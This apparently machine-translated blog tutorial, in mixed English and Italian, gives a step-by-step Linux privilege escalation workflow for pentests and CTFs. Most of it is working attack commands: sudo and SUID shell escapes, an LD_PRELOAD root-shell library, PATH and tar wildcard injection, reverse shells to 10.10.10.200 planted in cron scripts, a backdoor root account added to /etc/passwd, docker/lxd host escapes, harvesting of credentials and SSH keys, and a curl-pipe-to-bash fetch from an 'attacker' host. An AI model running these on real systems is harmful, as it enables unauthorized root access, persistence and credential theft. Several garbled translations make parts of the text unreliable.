Linux PrivEsc: Real root escalation techniques

Linux PrivEsc: Real-world privilege escalation techniques for gaining root. Practical workflow from real-world CTFs and pentests.
- Posted on 2026-02-27
- Reading time: 6 min
Executive Summary — You got a shell on a Linux system — but you're
www-data,nobodyor a low-priv user. The next step is to become root. Linux privilege escalation exploits misconfigurations: SUID binary, permissive sudo, excessive capabilities, insecure cron jobs, PATH hijacking, vulnerable kernels, NFS mounts with no_root_squash, and misconfigured containers. This article covers each technique with working commands, commented output, and links to GTFOBins for each exploitable binary.
> **TL;DR**
> - `sudo -l` = primo check: se puoi eseguire binari come root → cerca su GTFOBins (https://gtfobins.github.io/) per l’escape
> - SUID custom = finding comune: `find / -perm -4000` → verifica se abusabile (GTFOBins)
> - LinPEAS automatizza enum → ma ogni finding va validato e sfruttato manualmenteWorkflow — The Order of Operations #
When landing on a Linux system, follow this order. The techniques are ranked by success rate and speed:
1. sudo -l → 30 secondi, spesso game over
2. SUID/SGID binary → 1 minuto
3. Capabilities → 30 secondi
4. Cron job insicuri → 2 minuti
5. File sensibili leggibili → 2 minuti
6. Variabili d'ambiente → 30 secondi
7. PATH hijacking → 2 minuti
8. NFS no_root_squash → 2 minuti
9. Docker/LXC group → 30 secondi
10. Kernel exploit → ultimo resortFor the complete enumeration covering all these vectors systematically.
1. sudo Abuse #
sudo -l — The First Command #
sudo -lOutput (ideal case):
User www-data may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vimvim as root without password. Search on GTFOBins
:
sudo vim -c '!bash'Root. Fine.
Common sudo binaries and exploitation #
vim/vi:
sudo vim -c '!bash'elder brother:
sudo nano
# Ctrl+R, Ctrl+X
# Poi: reset; bash 1>&0 2>&0find:
sudo find / -exec /bin/bash \;python/python3:
sudo python3 -c 'import os; os.system("/bin/bash")'profile:
sudo perl -e 'exec "/bin/bash";'ruby:
sudo ruby -e 'exec "/bin/bash"'less/more:
sudo less /etc/shadow
# Poi: !bashawk:
sudo awk 'BEGIN {system("/bin/bash")}'nmap (older versions with interactive):
sudo nmap --interactive
nmap> !bashenv:
sudo env /bin/bashcp:
sudo cp /bin/bash /tmp/rootbash
sudo chmod +s /tmp/rootbash
/tmp/rootbash -pwget (file write):
# Sovrascrivi /etc/shadow con una versione con password nota
sudo wget http://10.10.10.200:8080/shadow -O /etc/shadowapt/apt-get:
sudo apt update -o APT::Update::Pre-Invoke::="/bin/bash"sudo with LD_PRELOAD #
Se sudo -l show env_keep+=LD_PRELOAD:
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}gcc -fPIC -shared -nostartfiles -o /tmp/shell.so shell.c
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/any_allowed_binarysudo with LD_LIBRARY_PATH #
Se env_keep+=LD_LIBRARY_PATH:
# Trova quale libreria carica il binario
ldd /usr/bin/allowed_binary
# libcustom.so => /usr/lib/libcustom.so
# Crea libreria malevola
gcc -fPIC -shared -o /tmp/libcustom.so shell.c
sudo LD_LIBRARY_PATH=/tmp /usr/bin/allowed_binarysudo vulnerable version #
sudo --versionCVE-2021-3156 (Baron Samedit): sudo 1.8.2 - 1.9.5p1
# Test: se questo crashea, è vulnerabile
sudoedit -s '\' $(python3 -c 'print("A"*1000)')CVE-2019-14287: se sudo -l show (ALL, !root):
sudo -u#-1 /bin/bash2. SUID Binary #
Find SUID #
find / -perm -4000 -type f 2>/dev/nullOutput:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/su
/usr/bin/pkexec
/usr/bin/mount
/opt/custom_app
/usr/local/bin/backup_toolThe first 5 are standard. /opt/custom_app e /usr/local/bin/backup_tool they are custom → targets of exploitation.
Custom SUID Analysis #
file /opt/custom_appstrings /opt/custom_app/bin/sh
cat /etc/shadow
service apache restartIf the track calls cat o service without absolute path → PATH hijacking.
SUID + PATH Hijacking #
# Il binario SUID chiama "cat" senza path assoluto
# Crea un "cat" malevolo
echo '/bin/bash -p' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
# Esegui il SUID binary
/opt/custom_app
# Invece di "cat /etc/shadow", esegue il TUO "cat" → bash rootSUID + Shared Object Injection #
# Verifica se il SUID cerca librerie in path scrivibili
strace /opt/custom_app 2>&1 | grep "open.*\.so.*No such file"open("/home/user/.config/libcustom.so", O_RDONLY) = -1 ENOENT# Crea la libreria mancante
gcc -fPIC -shared -o /home/user/.config/libcustom.so shell.c
/opt/custom_app
# Carica la TUA libreria → rootGTFOBins SUID #
For each SUID found, search GTFOBins for the “SUID” section:
# Esempio: bash SUID
/usr/bin/bash -p# Esempio: python3 SUID
/usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'3. Capabilities #
getcap -r / 2>/dev/nullOutput:
/usr/bin/python3.11 cap_setuid=ep
/usr/bin/perl5.36.0 cap_setuid=ep
/usr/sbin/tcpdump cap_net_raw=ep
/usr/bin/tar cap_dac_read_search=epcap_setuid (direct root) #
# Python
/usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/bash")'# Perl
/usr/bin/perl5.36.0 -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'cap_dac_read_search (read any file) #
# tar con cap_dac_read_search: leggi /etc/shadow
/usr/bin/tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz
cat etc/shadowcap_net_raw (traffic sniffing) #
/usr/sbin/tcpdump -i eth0 -w /tmp/capture.pcapCapture cleartext traffic — FTP , HTTP , SMTP credentials.
4. Cron Job #
Enumerate cron #
crontab -lcat /etc/crontabls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/# Cerca script chiamati da cron
grep -r ".*" /etc/cron* 2>/dev/null/etc/crontab output:
*/5 * * * * root /opt/scripts/backup.sh
*/1 * * * * root /usr/local/bin/cleanup.shWritable cron script #
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 234 Jan 15 10:00 /opt/scripts/backup.shWritable by everyone (rwx for others):
echo 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1' >> /opt/scripts/backup.shWait 5 minutes → reverse shell as root.
Cron with wildcard injection #
If the cron runs:
# In /opt/scripts/backup.sh:
cd /var/www/html
tar czf /tmp/backup.tar.gz *The asterisk * Expands filenames. You can create files with names that are arguments to tar:
cd /var/www/html
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=bash /tmp/shell.sh'
echo 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1' > /tmp/shell.sh
chmod +x /tmp/shell.shWhen cron runs tar czf /tmp/backup.tar.gz *, the files --checkpoint=1 e --checkpoint-action=exec=bash /tmp/shell.sh become arguments of tar → RCE as root.
Cron with non-absolute PATH #
If the cron runs backup.sh without absolute path and the cron PATH includes a writable directory:
echo 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1' > /tmp/backup.sh
chmod +x /tmp/backup.shpspy — Discover hidden crons #
./pspy642026/01/15 10:00:01 CMD: UID=0 PID=1234 | /bin/bash /opt/scripts/secret_cron.shpspy shows processes that start without being in crontab — scripts called by systemd timers, at, or other schedulers.
5. Sensitive Files and Credentials #
Password in configuration file #
grep -riE "password|passwd|secret|token|api_key|db_pass" /var/www/ /opt/ /etc/ /home/ 2>/dev/null.env file #
find / -name ".env" -type f 2>/dev/nullcat /var/www/html/.envDB_HOST=localhost
DB_USER=root
DB_PASSWORD=Pr0duction_P@ss!
SECRET_KEY=abc123def456SSH keys #
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/nullcat /home/admin/.ssh/id_rsaIf you find a private key: ssh -i id_rsa admin@localhost or to other hosts. For the SSH attacks
.
.bash_history #
cat /home/*/.bash_history 2>/dev/null | grep -iE "pass|mysql|ssh|sudo|curl.*auth"Readable files with sensitive information #
cat /etc/shadow 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null
cat /etc/mysql/debian.cnf 2>/dev/null
cat /var/www/html/wp-config.php 2>/dev/null6. NFS no_root_squash #
# Dal target: verifica export NFS
cat /etc/exports/home *(rw,no_root_squash)For the full SUID backdoor technique: NFS port 2049.
# Dalla tua macchina:
mount -t nfs 10.10.10.40:/home /tmp/nfs
cp /bin/bash /tmp/nfs/suid_bash
chmod 4755 /tmp/nfs/suid_bash
# Sul target:
/home/suid_bash -p
# root7. Docker / LXC Group #
If the user is in the group docker:
id
# groups=...,999(docker)docker run -v /:/mnt --rm -it alpine chroot /mnt bashRoot on the host. For full details: container escape and port 2375 Docker.
If in the group lxd:
lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root
lxc start privesc
lxc exec privesc /bin/sh
# chroot /mnt/root bash → root sull'host8. Kernel Exploit #
The last resort—because kernel exploits can crash your system. For the complete guide: kernel exploits.
uname -r
cat /etc/os-releasesearchsploit linux kernel $(uname -r | cut -d'-' -f1) privilege escalationThe most relevant kernel exploits 2020-2026 are documented in the dedicated guide.
9. Additional Techniques #
Writable /etc/passwd #
ls -la /etc/passwd
# -rw-rw-rw- 1 root root ... → scrivibile!openssl passwd -6 -salt abc password123
# $6$abc$hash...
echo 'backdoor:$6$abc$hash:0:0:backdoor:/root:/bin/bash' >> /etc/passwd
su backdoor
# Password: password123 → rootsystemd timer #
systemctl list-timers --allLook for timers that run scripts — same logic as cronjobs.
Service abuse (writable service file) #
find /etc/systemd/system/ -writable -type f 2>/dev/nullIf a file .service it is writable: edit ExecStart with your reverse shell.
Environment variables in /proc #
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|secret|token"10. Automatic Enumeration Tool #
| tool | Function | Command |
|---|---|---|
| LinPEAS | Complete enumeration | curl http://attacker/linpeas.sh | bash |
| LinEnum | Classical enumeration | bash LinEnum.sh -t |
| linux-exploit-suggestion | Suggests kernel exploit | bash les.sh |
| pspy | Process Monitor (no root) | ./pspy64 |
| linux-smart-enumeration | Enumeration with levels | bash lse.sh -l 2 |
For detailed usage of these tools: linux enumeration.
11. Final Cheat Sheet #
| Technology | Key command |
|---|---|
| sudo check | sudo -l |
| SUID find | find / -perm -4000 -type f 2>/dev/null |
| Capabilities | getcap -r / 2>/dev/null |
| Cron | cat /etc/crontab; ls /etc/cron* |
| Cred search | grep -riE "password|secret" /var/www /opt /home |
| SSH keys | find / -name "id_rsa" 2>/dev/null |
| NFS | cat /etc/exports |
| Docker group | id | grep docker |
| Kernel | uname -r; searchsploit linux kernel |
| History | cat /home/*/.bash_history |
| Writable files | find / -writable -type f 2>/dev/null |
| GTFOBins | Search every track on gtfobins |
Reference:
- GTFOBins → https://gtfobins.github.io/ ([gtfobins.github.io][1])
- HackTricks Linux PrivEsc → https://angelica.gitbook.io/hacktricks/linux-hardening/linux-privilege-escalation-checklist ([angelica.gitbook.io][2])
- OSCP methodology → https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html ([ahmed-tarek.gitbook.io][3])
For use in authorized environments only.
[1]: https://gtfobins.github.io/?utm_source=chatgpt.com “GTFOBins” [2]: https://angelica.gitbook.io/hacktricks/linux-hardening/linux-privilege-escalation-checklist?utm_source=chatgpt.com “Checklist - Linux Privilege Escalation - HackTricks” [3]: https://ahmed-tarek.gitbook.io/security-notes/pentesting/net-pen/privilege-escalation/linux-privilege-escalation?utm_source=chatgpt.com “Linux Privilege Escalation - Security Notes - GitBook”








